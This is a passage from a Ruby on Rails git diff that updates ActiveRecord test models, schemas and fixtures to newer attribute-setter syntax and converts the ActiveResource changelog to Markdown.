assert_equal original_salary, Developer.find(1).salary
end
end
+ Developer.connection.close
end
threads.each { |t| t.join }
diff --git a/activerecord/test/cases/unconnected_test.rb b/activerecord/test/cases/unconnected_test.rb
index f85fb4e5da..e82ca3f93d 100644
--- a/activerecord/test/cases/unconnected_test.rb
+++ b/activerecord/test/cases/unconnected_test.rb
@@ -4,7 +4,7 @@ class TestRecord < ActiveRecord::Base
end
class TestUnconnectedAdapter < ActiveRecord::TestCase
- self.use_transactional_fixtures = false unless supports_savepoints?
+ self.use_transactional_fixtures = false
def setup
@underlying = ActiveRecord::Base.connection
diff --git a/activerecord/test/cases/validations_test.rb b/activerecord/test/cases/validations_test.rb
index c3e494866b..e575a98170 100644
--- a/activerecord/test/cases/validations_test.rb
+++ b/activerecord/test/cases/validations_test.rb
@@ -8,7 +8,7 @@ require 'models/parrot'
require 'models/company'
class ProtectedPerson < ActiveRecord::Base
- set_table_name 'people'
+ self.table_name = 'people'
attr_accessor :addon
attr_protected :first_name
end
diff --git a/activerecord/test/cases/yaml_serialization_test.rb b/activerecord/test/cases/yaml_serialization_test.rb
index 0b54c309d1..5a38f2c6ee 100644
--- a/activerecord/test/cases/yaml_serialization_test.rb
+++ b/activerecord/test/cases/yaml_serialization_test.rb
@@ -18,6 +18,11 @@ class YamlSerializationTest < ActiveRecord::TestCase
assert_equal topic, t
end
+ def test_roundtrip_serialized_column
+ topic = Topic.new(:content => {:omg=>:lol})
+ assert_equal({:omg=>:lol}, YAML.load(YAML.dump(topic)).content)
+ end
+
def test_encode_with_coder
topic = Topic.first
coder = {}
diff --git a/activerecord/test/config.example.yml b/activerecord/test/config.example.yml
index 8c1a45430e..f450efd839 100644
--- a/activerecord/test/config.example.yml
+++ b/activerecord/test/config.example.yml
@@ -37,11 +37,13 @@ connections:
db2:
arunit:
+ adapter: ibm_db
host: localhost
username: arunit
password: arunit
database: arunit
arunit2:
+ adapter: ibm_db
host: localhost
username: arunit
password: arunit
diff --git a/activerecord/test/fixtures/pirates.yml b/activerecord/test/fixtures/pirates.yml
index abb91101da..6004f390a4 100644
--- a/activerecord/test/fixtures/pirates.yml
+++ b/activerecord/test/fixtures/pirates.yml
@@ -5,5 +5,5 @@ blackbeard:
redbeard:
catchphrase: "Avast!"
parrot: louis
- created_on: <%= 2.weeks.ago.to_s(:db) %>
- updated_on: <%= 2.weeks.ago.to_s(:db) %>
+ created_on: "<%= 2.weeks.ago.to_s(:db) %>"
+ updated_on: "<%= 2.weeks.ago.to_s(:db) %>"
diff --git a/activerecord/test/fixtures/tasks.yml b/activerecord/test/fixtures/tasks.yml
index 01c95b3a4c..402ca85faf 100644
--- a/activerecord/test/fixtures/tasks.yml
+++ b/activerecord/test/fixtures/tasks.yml
@@ -1,4 +1,4 @@
-# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html
+# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html
first_task:
id: 1
starting: 2005-03-30t06:30:00.00+01:00
diff --git a/activerecord/test/models/admin/user.rb b/activerecord/test/models/admin/user.rb
index 74bb21551e..c12c88e195 100644
--- a/activerecord/test/models/admin/user.rb
+++ b/activerecord/test/models/admin/user.rb
@@ -1,3 +1,4 @@
class Admin::User < ActiveRecord::Base
belongs_to :account
-end \ No newline at end of file
+ store :settings, :accessors => [ :color, :homepage ]
+end
diff --git a/activerecord/test/models/author.rb b/activerecord/test/models/author.rb
index 23db5650d4..bfadfd9d75 100644
--- a/activerecord/test/models/author.rb
+++ b/activerecord/test/models/author.rb
@@ -128,7 +128,6 @@ class Author < ActiveRecord::Base
belongs_to :author_address, :dependent => :destroy
belongs_to :author_address_extra, :dependent => :delete, :class_name => "AuthorAddress"
- has_many :post_categories, :through => :posts, :source => :categories
has_many :category_post_comments, :through => :categories, :source => :post_comments
has_many :misc_posts, :class_name => 'Post',
diff --git a/activerecord/test/models/car.rb b/activerecord/test/models/car.rb
index 76f20b1061..b9c2e8ec9a 100644
--- a/activerecord/test/models/car.rb
+++ b/activerecord/test/models/car.rb
@@ -8,7 +8,7 @@ class Car < ActiveRecord::Base
has_one :frickinawesome_bulb, :class_name => "Bulb", :conditions => { :frickinawesome => true }
has_many :tyres
- has_many :engines
+ has_many :engines, :dependent => :destroy
has_many :wheels, :as => :wheelable
scope :incl_tyres, includes(:tyres)
diff --git a/activerecord/test/models/company.rb b/activerecord/test/models/company.rb
index c1f7a4171a..fe9c465c81 100644
--- a/activerecord/test/models/company.rb
+++ b/activerecord/test/models/company.rb
@@ -4,7 +4,7 @@ end
class Company < AbstractCompany
attr_protected :rating
- set_sequence_name :companies_nonstd_seq
+ self.sequence_name = :companies_nonstd_seq
validates_presence_of :name
@@ -42,6 +42,7 @@ class Firm < Company
:before_remove => :log_before_remove,
:after_remove => :log_after_remove
has_many :unsorted_clients, :class_name => "Client"
+ has_many :unsorted_clients_with_symbol, :class_name => :Client
has_many :clients_sorted_desc, :class_name => "Client", :order => "id DESC"
has_many :clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id"
has_many :unvalidated_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :validate => false
diff --git a/activerecord/test/models/contact.rb b/activerecord/test/models/contact.rb
index e081eee661..3d15c7fbed 100644
--- a/activerecord/test/models/contact.rb
+++ b/activerecord/test/models/contact.rb
@@ -11,12 +11,13 @@ class Contact < ActiveRecord::Base
connection.merge_column('contacts', name, sql_type, options)
end
- column :name, :string
- column :age, :integer
- column :avatar, :binary
- column :created_at, :datetime
- column :awesome, :boolean
- column :preferences, :string
+ column :name, :string
+ column :age, :integer
+ column :avatar, :binary
+ column :created_at, :datetime
+ column :awesome, :boolean
+ column :preferences, :string
+ column :alternative_id, :integer
serialize :preferences
diff --git a/activerecord/test/models/country.rb b/activerecord/test/models/country.rb
index 15e3a1de0b..7db9a4e731 100644
--- a/activerecord/test/models/country.rb
+++ b/activerecord/test/models/country.rb
@@ -1,6 +1,6 @@
class Country < ActiveRecord::Base
- set_primary_key :country_id
+ self.primary_key = :country_id
has_and_belongs_to_many :treaties
diff --git a/activerecord/test/models/dashboard.rb b/activerecord/test/models/dashboard.rb
index a8a25834b1..1b3b54545f 100644
--- a/activerecord/test/models/dashboard.rb
+++ b/activerecord/test/models/dashboard.rb
@@ -1,3 +1,3 @@
class Dashboard < ActiveRecord::Base
- set_primary_key :dashboard_id
-end \ No newline at end of file
+ self.primary_key = :dashboard_id
+end
diff --git a/activerecord/test/models/developer.rb b/activerecord/test/models/developer.rb
index f182a7fa97..4dc9fff9fd 100644
--- a/activerecord/test/models/developer.rb
+++ b/activerecord/test/models/developer.rb
@@ -227,3 +227,12 @@ class EagerDeveloperWithCallableDefaultScope < ActiveRecord::Base
default_scope OpenStruct.new(:call => includes(:projects))
end
+
+class ThreadsafeDeveloper < ActiveRecord::Base
+ self.table_name = 'developers'
+
+ def self.default_scope
+ sleep 0.05 if Thread.current[:long_default_scope]
+ limit(1)
+ end
+end
diff --git a/activerecord/test/models/joke.rb b/activerecord/test/models/joke.rb
index d7f01e59e6..edda4655dc 100644
--- a/activerecord/test/models/joke.rb
+++ b/activerecord/test/models/joke.rb
@@ -1,7 +1,7 @@
class Joke < ActiveRecord::Base
- set_table_name 'funny_jokes'
+ self.table_name = 'funny_jokes'
end
class GoodJoke < ActiveRecord::Base
- set_table_name 'funny_jokes'
+ self.table_name = 'funny_jokes'
end
diff --git a/activerecord/test/models/keyboard.rb b/activerecord/test/models/keyboard.rb
index 32a4a7fad0..39347e274e 100644
--- a/activerecord/test/models/keyboard.rb
+++ b/activerecord/test/models/keyboard.rb
@@ -1,3 +1,3 @@
class Keyboard < ActiveRecord::Base
- set_primary_key 'key_number'
+ self.primary_key = 'key_number'
end
diff --git a/activerecord/test/models/legacy_thing.rb b/activerecord/test/models/legacy_thing.rb
index eaeb642d12..eead181a0e 100644
--- a/activerecord/test/models/legacy_thing.rb
+++ b/activerecord/test/models/legacy_thing.rb
@@ -1,3 +1,3 @@
class LegacyThing < ActiveRecord::Base
- set_locking_column :version
+ self.locking_column = :version
end
diff --git a/activerecord/test/models/liquid.rb b/activerecord/test/models/liquid.rb
index b96c054f6c..3fcd5e4b69 100644
--- a/activerecord/test/models/liquid.rb
+++ b/activerecord/test/models/liquid.rb
@@ -1,5 +1,5 @@
class Liquid < ActiveRecord::Base
- set_table_name :liquid
+ self.table_name = :liquid
has_many :molecules, :uniq => true
end
diff --git a/activerecord/test/models/minivan.rb b/activerecord/test/models/minivan.rb
index 830cdb5796..4fe79720ad 100644
--- a/activerecord/test/models/minivan.rb
+++ b/activerecord/test/models/minivan.rb
@@ -1,5 +1,5 @@
class Minivan < ActiveRecord::Base
- set_primary_key :minivan_id
+ self.primary_key = :minivan_id
belongs_to :speedometer
has_one :dashboard, :through => :speedometer
diff --git a/activerecord/test/models/mixed_case_monkey.rb b/activerecord/test/models/mixed_case_monkey.rb
index 853f2682b3..763baefd91 100644
--- a/activerecord/test/models/mixed_case_monkey.rb
+++ b/activerecord/test/models/mixed_case_monkey.rb
@@ -1,3 +1,3 @@
class MixedCaseMonkey < ActiveRecord::Base
- set_primary_key 'monkeyID'
+ self.primary_key = 'monkeyID'
end
diff --git a/activerecord/test/models/owner.rb b/activerecord/test/models/owner.rb
index 5760b991ec..fea55f4535 100644
--- a/activerecord/test/models/owner.rb
+++ b/activerecord/test/models/owner.rb
@@ -1,5 +1,5 @@
class Owner < ActiveRecord::Base
- set_primary_key :owner_id
+ self.primary_key = :owner_id
has_many :pets
has_many :toys, :through => :pets
end
diff --git a/activerecord/test/models/parrot.rb b/activerecord/test/models/parrot.rb
index 737ef9131b..c4ee2bd19d 100644
--- a/activerecord/test/models/parrot.rb
+++ b/activerecord/test/models/parrot.rb
@@ -1,5 +1,6 @@
class Parrot < ActiveRecord::Base
- set_inheritance_column :parrot_sti_class
+ self.inheritance_column = :parrot_sti_class
+
has_and_belongs_to_many :pirates
has_and_belongs_to_many :treasures
has_many :loots, :as => :looter
diff --git a/activerecord/test/models/pet.rb b/activerecord/test/models/pet.rb
index 113826756a..3cd5bceed5 100644
--- a/activerecord/test/models/pet.rb
+++ b/activerecord/test/models/pet.rb
@@ -2,7 +2,7 @@ class Pet < ActiveRecord::Base
attr_accessor :current_user
- set_primary_key :pet_id
+ self.primary_key = :pet_id
belongs_to :owner, :touch => true
has_many :toys
diff --git a/activerecord/test/models/post.rb b/activerecord/test/models/post.rb
index affa37b02d..137cee3752 100644
--- a/activerecord/test/models/post.rb
+++ b/activerecord/test/models/post.rb
@@ -24,6 +24,10 @@ class Post < ActiveRecord::Base
belongs_to :author_with_posts, :class_name => "Author", :foreign_key => :author_id, :include => :posts
belongs_to :author_with_address, :class_name => "Author", :foreign_key => :author_id, :include => :author_address
+ def first_comment
+ super.body
+ end
+ has_one :first_comment, :class_name => 'Comment', :order => 'id ASC'
has_one :last_comment, :class_name => 'Comment', :order => 'id desc'
scope :with_special_comments, :joins => :comments, :conditions => {:comments => {:type => 'SpecialComment'} }
@@ -171,4 +175,14 @@ class PostWithDefaultInclude < ActiveRecord::Base
self.table_name = 'posts'
default_scope includes(:comments)
has_many :comments, :foreign_key => :post_id
+end
+
+class PostWithDefaultScope < ActiveRecord::Base
+ self.table_name = 'posts'
+ default_scope :order => :title
+end
+
+class SpecialPostWithDefaultScope < ActiveRecord::Base
+ self.table_name = 'posts'
+ default_scope where(:id => [1, 5,6])
end \ No newline at end of file
diff --git a/activerecord/test/models/speedometer.rb b/activerecord/test/models/speedometer.rb
index 94743eff8e..0a7d38d8ec 100644
--- a/activerecord/test/models/speedometer.rb
+++ b/activerecord/test/models/speedometer.rb
@@ -1,4 +1,4 @@
class Speedometer < ActiveRecord::Base
- set_primary_key :speedometer_id
+ self.primary_key = :speedometer_id
belongs_to :dashboard
-end \ No newline at end of file
+end
diff --git a/activerecord/test/models/string_key_object.rb b/activerecord/test/models/string_key_object.rb
index f8d4c6e0e4..f084ec1bdc 100644
--- a/activerecord/test/models/string_key_object.rb
+++ b/activerecord/test/models/string_key_object.rb
@@ -1,3 +1,3 @@
class StringKeyObject < ActiveRecord::Base
- set_primary_key :id
+ self.primary_key = :id
end
diff --git a/activerecord/test/models/subscriber.rb b/activerecord/test/models/subscriber.rb
index 5b78014e6f..76e85a0cd3 100644
--- a/activerecord/test/models/subscriber.rb
+++ b/activerecord/test/models/subscriber.rb
@@ -1,5 +1,5 @@
class Subscriber < ActiveRecord::Base
- set_primary_key 'nick'
+ self.primary_key = 'nick'
has_many :subscriptions
has_many :books, :through => :subscriptions
end
diff --git a/activerecord/test/models/topic.rb b/activerecord/test/models/topic.rb
index 6440dbe8ab..fe424e61b2 100644
--- a/activerecord/test/models/topic.rb
+++ b/activerecord/test/models/topic.rb
@@ -78,11 +78,12 @@ class Topic < ActiveRecord::Base
after_initialize :set_email_address
+ def approved=(val)
+ @custom_approved = val
+ write_attribute(:approved, val)
+ end
+
protected
- def approved=(val)
- @custom_approved = val
- write_attribute(:approved, val)
- end
def default_written_on
self.written_on = Time.now unless attribute_present?("written_on")
diff --git a/activerecord/test/models/toy.rb b/activerecord/test/models/toy.rb
index 79a88db0da..0377e50011 100644
--- a/activerecord/test/models/toy.rb
+++ b/activerecord/test/models/toy.rb
@@ -1,4 +1,6 @@
class Toy < ActiveRecord::Base
- set_primary_key :toy_id
+ self.primary_key = :toy_id
belongs_to :pet
+
+ scope :with_pet, joins(:pet)
end
diff --git a/activerecord/test/models/treaty.rb b/activerecord/test/models/treaty.rb
index b46537f0d2..41fd1350f3 100644
--- a/activerecord/test/models/treaty.rb
+++ b/activerecord/test/models/treaty.rb
@@ -1,6 +1,6 @@
class Treaty < ActiveRecord::Base
- set_primary_key :treaty_id
+ self.primary_key = :treaty_id
has_and_belongs_to_many :countries
diff --git a/activerecord/test/models/warehouse_thing.rb b/activerecord/test/models/warehouse_thing.rb
index 6ace1183cc..f20bd1a245 100644
--- a/activerecord/test/models/warehouse_thing.rb
+++ b/activerecord/test/models/warehouse_thing.rb
@@ -1,5 +1,5 @@
class WarehouseThing < ActiveRecord::Base
- set_table_name "warehouse-things"
+ self.table_name = "warehouse-things"
validates_uniqueness_of :value
-end \ No newline at end of file
+end
diff --git a/activerecord/test/schema/mysql2_specific_schema.rb b/activerecord/test/schema/mysql2_specific_schema.rb
index c78d99f4af..ab2c7ccc10 100644
--- a/activerecord/test/schema/mysql2_specific_schema.rb
+++ b/activerecord/test/schema/mysql2_specific_schema.rb
@@ -21,4 +21,15 @@ BEGIN
END
SQL
-end
+ ActiveRecord::Base.connection.execute <<-SQL
+DROP TABLE IF EXISTS collation_tests;
+SQL
+
+ ActiveRecord::Base.connection.execute <<-SQL
+CREATE TABLE collation_tests (
+ string_cs_column VARCHAR(1) COLLATE utf8_bin,
+ string_ci_column VARCHAR(1) COLLATE utf8_general_ci
+) CHARACTER SET utf8 COLLATE utf8_general_ci
+SQL
+
+end \ No newline at end of file
diff --git a/activerecord/test/schema/mysql_specific_schema.rb b/activerecord/test/schema/mysql_specific_schema.rb
index 30e1c5a167..a0adfe3752 100644
--- a/activerecord/test/schema/mysql_specific_schema.rb
+++ b/activerecord/test/schema/mysql_specific_schema.rb
@@ -32,4 +32,15 @@ BEGIN
END
SQL
+ ActiveRecord::Base.connection.execute <<-SQL
+DROP TABLE IF EXISTS collation_tests;
+SQL
+
+ ActiveRecord::Base.connection.execute <<-SQL
+CREATE TABLE collation_tests (
+ string_cs_column VARCHAR(1) COLLATE utf8_bin,
+ string_ci_column VARCHAR(1) COLLATE utf8_general_ci
+) CHARACTER SET utf8 COLLATE utf8_general_ci
+SQL
+
end
diff --git a/activerecord/test/schema/schema.rb b/activerecord/test/schema/schema.rb
index 64e0452100..bb08f5c181 100644
--- a/activerecord/test/schema/schema.rb
+++ b/activerecord/test/schema/schema.rb
@@ -37,6 +37,7 @@ ActiveRecord::Schema.define do
create_table :admin_users, :force => true do |t|
t.string :name
+ t.text :settings
t.references :account
end
@@ -47,6 +48,7 @@ ActiveRecord::Schema.define do
create_table :audit_logs, :force => true do |t|
t.column :message, :string, :null=>false
t.column :developer_id, :integer, :null=>false
+ t.integer :unvalidated_developer_id
end
create_table :authors, :force => true do |t|
@@ -156,6 +158,7 @@ ActiveRecord::Schema.define do
t.string :type
t.integer :taggings_count, :default => 0
t.integer :children_count, :default => 0
+ t.integer :parent_id
end
create_table :companies, :force => true do |t|
@@ -461,6 +464,7 @@ ActiveRecord::Schema.define do
create_table :pirates, :force => true do |t|
t.column :catchphrase, :string
t.column :parrot_id, :integer
+ t.integer :non_validated_parrot_id
t.column :created_on, :datetime
t.column :updated_on, :datetime
end
@@ -529,6 +533,7 @@ ActiveRecord::Schema.define do
create_table :ships, :force => true do |t|
t.string :name
t.integer :pirate_id
+ t.integer :update_only_pirate_id
t.datetime :created_at
t.datetime :created_on
t.datetime :updated_at
@@ -663,7 +668,9 @@ ActiveRecord::Schema.define do
t.string :description
t.integer :man_id
t.integer :polymorphic_man_id
- t.string :polymorphic_man_type
+ t.string :polymorphic_man_type
+ t.integer :horrible_polymorphic_man_id
+ t.string :horrible_polymorphic_man_type
end
create_table :interests, :force => true do |t|
diff --git a/activeresource/CHANGELOG b/activeresource/CHANGELOG
deleted file mode 100644
index 25f9242b98..0000000000
--- a/activeresource/CHANGELOG
+++ /dev/null
@@ -1,324 +0,0 @@
-*Rails 3.1.0 (unreleased)*
-
-* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set `self.format = :xml` in the class. eg.
-
-class User < ActiveResource::Base
- self.format = :xml
-end
-
-
-*Rails 3.0.7 (April 18, 2011)*
-
-* No changes.
-
-
-*Rails 3.0.6 (April 5, 2011)
-
-* No changes.
-
-
-*Rails 3.0.5 (February 26, 2011)*
-
-* No changes.
-
-
-*Rails 3.0.4 (February 8, 2011)*
-
-* No changes.
-
-
-*Rails 3.0.3 (November 16, 2010)*
-
-* No changes.
-
-
-*Rails 3.0.2 (November 15, 2010)*
-
-* No changes
-
-
-*Rails 3.0.1 (October 15, 2010)*
-
-* No Changes, just a version bump.
-
-
-*Rails 3.0.0 (August 29, 2010)*
-
-* JSON: set Base.include_root_in_json = true to include a root value in the JSON: {"post": {"title": ...}}. Mirrors the Active Record option. [Santiago Pastorino]
-
-* Add support for errors in JSON format. #1956 [Fabien Jakimowicz]
-
-* Recognizes 410 as Resource Gone. #2316 [Jordan Brough, Jatinder Singh]
-
-* More thorough SSL support. #2370 [Roy Nicholson]
-
-* HTTP proxy support. #2133 [Marshall Huss, Sébastien Dabet]
-
-
-*2.3.2 [Final] (March 15, 2009)*
-
-* Nothing new, just included in 2.3.2
-
-
-*2.2.1 [RC2] (November 14th, 2008)*
-
-* Fixed that ActiveResource#post would post an empty string when it shouldn't be posting anything #525 [Paolo Angelini]
-
-
-*2.2.0 [RC1] (October 24th, 2008)*
-
-* Add ActiveResource::Base#to_xml and ActiveResource::Base#to_json. #1011 [Rasik Pandey, Cody Fauser]
-
-* Add ActiveResource::Base.find(:last). [#754 state:resolved] (Adrian Mugnolo)
-
-* Fixed problems with the logger used if the logging string included %'s [#840 state:resolved] (Jamis Buck)
-
-* Fixed Base#exists? to check status code as integer [#299 state:resolved] (Wes Oldenbeuving)
-
-
-*2.1.0 (May 31st, 2008)*
-
-* Fixed response logging to use length instead of the entire thing (seangeo) [#27]
-
-* Fixed that to_param should be used and honored instead of hardcoding the id #11406 [gspiers]
-
-* Improve documentation. [Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria, Sunny Ripert]
-
-* Use HEAD instead of GET in exists? [bscofield]
-
-* Fix small documentation typo. Closes #10670 [Luca Guidi]
-
-* find_or_create_resource_for handles module nesting. #10646 [xavier]
-
-* Allow setting ActiveResource::Base#format before #site. [Rick Olson]
-
-* Support agnostic formats when calling custom methods. Closes #10635 [joerichsen]
-
-* Document custom methods. #10589 [Cheah Chu Yeow]
-
-* Ruby 1.9 compatibility. [Jeremy Kemper]
-
-
-*2.0.2 (December 16th, 2007)*
-
-* Added more specific exceptions for 400, 401, and 403 (all descending from ClientError so existing rescues will work) #10326 [trek]
-
-* Correct empty response handling. #10445 [seangeo]
-
-
-*2.0.1 (December 7th, 2007)*
-
-* Don't cache net/http object so that ActiveResource is more thread-safe. Closes #10142 [kou]
-
-* Update XML documentation examples to include explicit type attributes. Closes #9754 [Josh Susser]
-
-* Added one-off declarations of mock behavior [David Heinemeier Hansson]. Example:
-
- Before:
- ActiveResource::HttpMock.respond_to do |mock|
- mock.get "/people/1.xml", {}, "<person><name>David</name></person>"
- end
-
- Now:
- ActiveResource::HttpMock.respond_to.get "/people/1.xml", {}, "<person><name>David</name></person>"
-
-* Added ActiveResource.format= which defaults to :xml but can also be set to :json [David Heinemeier Hansson]. Example:
-
- class Person < ActiveResource::Base
- self.site = "http://app/"
- self.format = :json
- end
-
- person = Person.find(1) # => GET http://app/people/1.json
- person.name = "David"
- person.save # => PUT http://app/people/1.json {name: "David"}
-
- Person.format = :xml
- person.name = "Mary"
- person.save # => PUT http://app/people/1.json <person><name>Mary</name></person>
-
-* Fix reload error when path prefix is used. #8727 [Ian Warshak]
-
-* Remove ActiveResource::Struct because it hasn't proven very useful. Creating a new ActiveResource::Base subclass is often less code and always clearer. #8612 [Josh Peek]
-
-* Fix query methods on resources. [Cody Fauser]
-
-* pass the prefix_options to the instantiated record when using find without a specific id. Closes #8544 [Eloy Duran]
-
-* Recognize and raise an exception on 405 Method Not Allowed responses. #7692 [Josh Peek]
-
-* Handle string and symbol param keys when splitting params into prefix params and query params.
-
- Comment.find(:all, :params => { :article_id => 5, :page => 2 }) or Comment.find(:all, :params => { 'article_id' => 5, :page => 2 })
-
-* Added find-one with symbol [David Heinemeier Hansson]. Example: Person.find(:one, :from => :leader) # => GET /people/leader.xml
-
-* BACKWARDS INCOMPATIBLE: Changed the finder API to be more extensible with :params and more strict usage of scopes [David Heinemeier Hansson]. Changes:
-
- Person.find(:all, :title => "CEO") ...becomes: Person.find(:all, :params => { :title => "CEO" })
- Person.find(:managers) ...becomes: Person.find(:all, :from => :managers)
- Person.find("/companies/1/manager.xml") ...becomes: Person.find(:one, :from => "/companies/1/manager.xml")
-
-* Add support for setting custom headers per Active Resource model [Rick Olson]
-
- class Project
- headers['X-Token'] = 'foo'
- end
-
- # makes the GET request with the custom X-Token header
- Project.find(:all)
-
-* Added find-by-path options to ActiveResource::Base.find [David Heinemeier Hansson]. Examples:
-
- employees = Person.find(:all, :from => "/companies/1/people.xml") # => GET /companies/1/people.xml
- manager = Person.find("/companies/1/manager.xml") # => GET /companies/1/manager.xml
-
-
-* Added support for using classes from within a single nested module [David Heinemeier Hansson]. Example:
-
- module Highrise
- class Note < ActiveResource::Base
- self.site = "http://37s.sunrise.i:3000"
- end
-
- class Comment < ActiveResource::Base
- self.site = "http://37s.sunrise.i:3000"
- end
- end
-
- assert_kind_of Highrise::Comment, Note.find(1).comments.first
-
-
-* Added load_attributes_from_response as a way of loading attributes from other responses than just create [David Heinemeier Hansson]
-
- class Highrise::Task < ActiveResource::Base
- def complete
- load_attributes_from_response(post(:complete))
- end
- end
-
- ...will set "done_at" when complete is called.
-
-
-* Added support for calling custom methods #6979 [rwdaigle]
-
- Person.find(:managers) # => GET /people/managers.xml
- Kase.find(1).post(:close) # => POST /kases/1/close.xml
-
-* Remove explicit prefix_options parameter for ActiveResource::Base#initialize. [Rick Olson]
- ActiveResource splits the prefix_options from it automatically.
-
-* Allow ActiveResource::Base.delete with custom prefix. [Rick Olson]
-
-* Add ActiveResource::Base#dup [Rick Olson]
-
-* Fixed constant warning when fetching the same object multiple times [David Heinemeier Hansson]
-
-* Added that saves which get a body response (and not just a 201) will use that response to update themselves [David Heinemeier Hansson]
-
-* Disregard namespaces from the default element name, so Highrise::Person will just try to fetch from "/people", not "/highrise/people" [David Heinemeier Hansson]
-
-* Allow array and hash query parameters. #7756 [Greg Spurrier]
-
-* Loading a resource preserves its prefix_options. #7353 [Ryan Daigle]
-
-* Carry over the convenience of #create from ActiveRecord. Closes #7340. [Ryan Daigle]
-
-* Increase ActiveResource::Base test coverage. Closes #7173, #7174 [Rich Collins]
-
-* Interpret 422 Unprocessable Entity as ResourceInvalid. #7097 [dkubb]
-
-* Mega documentation patches. #7025, #7069 [rwdaigle]
-
-* Base.exists?(id, options) and Base#exists? check whether the resource is found. #6970 [rwdaigle]
-
-* Query string support. [untext, Jeremy Kemper]
- # GET /forums/1/topics.xml?sort=created_at
- Topic.find(:all, :forum_id => 1, :sort => 'created_at')
-
-* Base#==, eql?, and hash methods. == returns true if its argument is identical to self or if it's an instance of the same class, is not new?, and has the same id. eql? is an alias for ==. hash delegates to id. [Jeremy Kemper]
-
-* Allow subclassed resources to share the site info [Rick Olson, Jeremy Kemper]
-d
- class BeastResource < ActiveResource::Base
- self.site = 'http://beast.caboo.se'
- end
-
- class Forum < BeastResource
- # taken from BeastResource
- # self.site = 'http://beast.caboo.se'
- end
-
- class Topic < BeastResource
- self.site += '/forums/:forum_id'
- end
-
-* Fix issues with ActiveResource collection handling. Closes #6291. [bmilekic]
-
-* Use attr_accessor_with_default to dry up attribute initialization. References #6538. [Stuart Halloway]
-
-* Add basic logging support for logging outgoing requests. [Jamis Buck]
-
-* Add Base.delete for deleting resources without having to instantiate them first. [Jamis Buck]
-
-* Make #save behavior mimic AR::Base#save (true on success, false on failure). [Jamis Buck]
-
-* Add Basic HTTP Authentication to ActiveResource (closes #6305). [jonathan]
-
-* Extracted #id_from_response as an entry point for customizing how a created resource gets its own ID.
- By default, it extracts from the Location response header.
-
-* Optimistic locking: raise ActiveResource::ResourceConflict on 409 Conflict response. [Jeremy Kemper]
-
- # Example controller action
- def update
- @person.save!
- rescue ActiveRecord::StaleObjectError
- render :xml => @person.reload.to_xml, :status => '409 Conflict'
- end
-
-* Basic validation support [Rick Olson]
-
- Parses the xml response of ActiveRecord::Errors#to_xml with a similar interface to ActiveRecord::Errors.
-
- render :xml => @person.errors.to_xml, :status => '400 Validation Error'
-
-* Deep hashes are converted into collections of resources. [Jeremy Kemper]
- Person.new :name => 'Bob',
- :address => { :id => 1, :city => 'Portland' },
- :contacts => [{ :id => 1 }, { :id => 2 }]
- Looks for Address and Contact resources and creates them if unavailable.
- So clients can fetch a complex resource in a single request if you e.g.
- render :xml => @person.to_xml(:include => [:address, :contacts])
- in your controller action.
-
-* Major updates [Rick Olson]
-
- * Add full support for find/create/update/destroy
- * Add support for specifying prefixes.
- * Allow overriding of element_name, collection_name, and primary key
- * Provide simpler HTTP mock interface for testing
-
- # rails routing code
- map.resources :posts do |post|
- post.resources :comments
- end
-
- # ActiveResources
- class Post < ActiveResource::Base
- self.site = "http://37s.sunrise.i:3000/"
- end
-
- class Comment < ActiveResource::Base
- self.site = "http://37s.sunrise.i:3000/posts/:post_id/"
- end
-
- @post = Post.find 5
- @comments = Comment.find :all, :post_id => @post.id
-
- @comment = Comment.new({:body => 'hello world'}, {:post_id => @post.id})
- @comment.save
-
-* Base.site= accepts URIs. 200...400 are valid response codes. PUT and POST request bodies default to ''. [Jeremy Kemper]
-
-* Initial checkin: object-oriented client for restful HTTP resources which follow the Rails convention. [David Heinemeier Hansson]
diff --git a/activeresource/CHANGELOG.md b/activeresource/CHANGELOG.md
new file mode 100644
index 0000000000..09d1eeb1c8
--- /dev/null
+++ b/activeresource/CHANGELOG.md
@@ -0,0 +1,334 @@
+## Rails 3.2.0 (unreleased) ##
+
+* Redirect responses: 303 See Other and 307 Temporary Redirect now behave like
+ 301 Moved Permanently and 302 Found. GH #3302.
+
+ *Jim Herz*
+
+
+## Rails 3.1.1 (October 7, 2011) ##
+
+* No changes.
+
+
+## Rails 3.1.0 (August 30, 2011) ##
+
+* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set `self.format = :xml` in the class. eg.
+
+ class User < ActiveResource::Base self.format = :xml
+ end
+
+## Rails 3.0.7 (April 18, 2011) ##
+
+* No changes.
+
+
+* Rails 3.0.6 (April 5, 2011)
+
+* No changes.
+
+
+## Rails 3.0.5 (February 26, 2011) ##
+
+* No changes.
+
+
+## Rails 3.0.4 (February 8, 2011) ##
+
+* No changes.
+
+
+## Rails 3.0.3 (November 16, 2010) ##
+
+* No changes.
+
+
+## Rails 3.0.2 (November 15, 2010) ##
+
+* No changes
+
+
+## Rails 3.0.1 (October 15, 2010) ##
+
+* No Changes, just a version bump.
+
+
+## Rails 3.0.0 (August 29, 2010) ##
+
+* JSON: set Base.include_root_in_json = true to include a root value in the JSON: {"post": {"title": ...}}. Mirrors the Active Record option. *Santiago Pastorino*
+
+* Add support for errors in JSON format. #1956 *Fabien Jakimowicz*
+
+* Recognizes 410 as Resource Gone. #2316 *Jordan Brough, Jatinder Singh*
+
+* More thorough SSL support. #2370 *Roy Nicholson*
+
+* HTTP proxy support. #2133 *Marshall Huss, Sébastien Dabet*
+
+
+## 2.3.2 Final (March 15, 2009) ##
+
+* Nothing new, just included in 2.3.2
+
+
+## 2.2.1 RC2 (November 14th, 2008) ##
+
+* Fixed that ActiveResource#post would post an empty string when it shouldn't be posting anything #525 *Paolo Angelini*
+
+
+## 2.2.0 RC1 (October 24th, 2008) ##
+
+* Add ActiveResource::Base#to_xml and ActiveResource::Base#to_json. #1011 *Rasik Pandey, Cody Fauser*
+
+* Add ActiveResource::Base.find(:last). [#754 state:resolved] (Adrian Mugnolo)
+
+* Fixed problems with the logger used if the logging string included %'s [#840 state:resolved] (Jamis Buck)
+
+* Fixed Base#exists? to check status code as integer [#299 state:resolved] (Wes Oldenbeuving)
+
+
+## 2.1.0 (May 31st, 2008) ##
+
+* Fixed response logging to use length instead of the entire thing (seangeo) *#27*
+
